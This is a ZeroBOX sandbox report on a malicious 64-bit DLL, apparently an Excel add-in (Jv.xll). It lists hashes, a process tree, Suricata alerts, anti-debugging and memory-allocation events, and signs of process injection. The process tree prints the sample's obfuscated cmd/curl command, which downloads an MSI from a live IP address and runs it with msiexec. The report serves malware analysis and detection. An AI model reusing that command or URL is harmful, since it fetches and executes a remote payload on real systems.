Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 26, 2023, 11:33 a.m.	Sept. 26, 2023, 11:35 a.m.

Size	12.0KB
Type	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	`f7a95d9853bbf73d695908480fa3ace2`
SHA256	`6fe992f467d89d8886137b7841f5fe8e32c484f3882afb45174fdf11215395c7`
CRC32	`F7EAEC0B`
ssdeep	`192:uU5z9iLjq2pJk+/qcJklyJOEdVLsWGQwrgAh:3z9AbJH/IwJOsO/QwrgC`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE64 - (no description)

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,hash
2616
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,hash
  2904
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,reverseString
2712
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,reverseString
  3032
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,xlAutoOpen
2804
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,xlAutoOpen
  2992
  - cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
    940
    - curl.exe curl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0
      148
    - timeout.exe timeout 10
      2428
    - msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
      2552
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\Jv.xll.dll,
2928

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
51.195.49.233	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49170 -> 51.195.49.233:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.101:49170 -> 51.195.49.233:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 26, 2023, 11:26 a.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 11:26 a.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 11:26 a.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 11:26 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Sept. 26, 2023, 11:26 a.m.	buffer: Waiting for 10 console_handle: 0x0000000000000007	1	1	0
WriteConsoleW Sept. 26, 2023, 11:26 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 26, 2023, 11:26 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 26, 2023, 11:26 a.m.	stacktrace: xlAutoOpen+0x1c10 jv+0x3000 @ 0x7fef9ac3000 rundll32+0x2f42 @ 0xff672f42 rundll32+0x3b7a @ 0xff673b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 30 40 ac f9 fe 07 00 00 00 00 00 00 00 00 00 00 exception.instruction: xor byte ptr [rax + 0xffffffffffffffac], al exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x1c10 jv+0x3000 exception.address: 0x7fef9ac3000 registers.r14: 0 registers.r15: 0 registers.rcx: 327992 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 2291792 registers.r11: 2290880 registers.r8: 2867332 registers.r9: 10 registers.rdx: 4284940288 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 327992 registers.r13: 0	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://51.195.49.233/dGp9oe/rAoeU0

Performs some HTTP requests (1 event)

request

GET http://51.195.49.233/dGp9oe/rAoeU0

Allocates read-write-execute memory (usually to unpack itself) (14 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 3032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbc61000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefba7f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefeffd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000072ffd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefbb0b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefb27c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefb24b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefcc3d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 11:26 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefb22d000 process_handle: 0xffffffffffffffff	1

Creates a suspicious process (1 event)

cmdline

c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 26, 2023, 11:26 a.m.	system_name: privilege_name: SeShutdownPrivilege	1	1	0

Yara rule detected in process memory (12 events)

description	Create a windows service	rule	Create_Service
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Escalate priviledges	rule	Escalate_priviledges
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

51.195.49.233

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 940 resumed a thread in remote process 2552
NtResumeThread Sept. 26, 2023, 11:26 a.m.	thread_handle: 0x000000000000021c suspend_count: 1 process_identifier: 2552	1	0	0

Jv.xll

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Suricata Alerts

Suricata TLS

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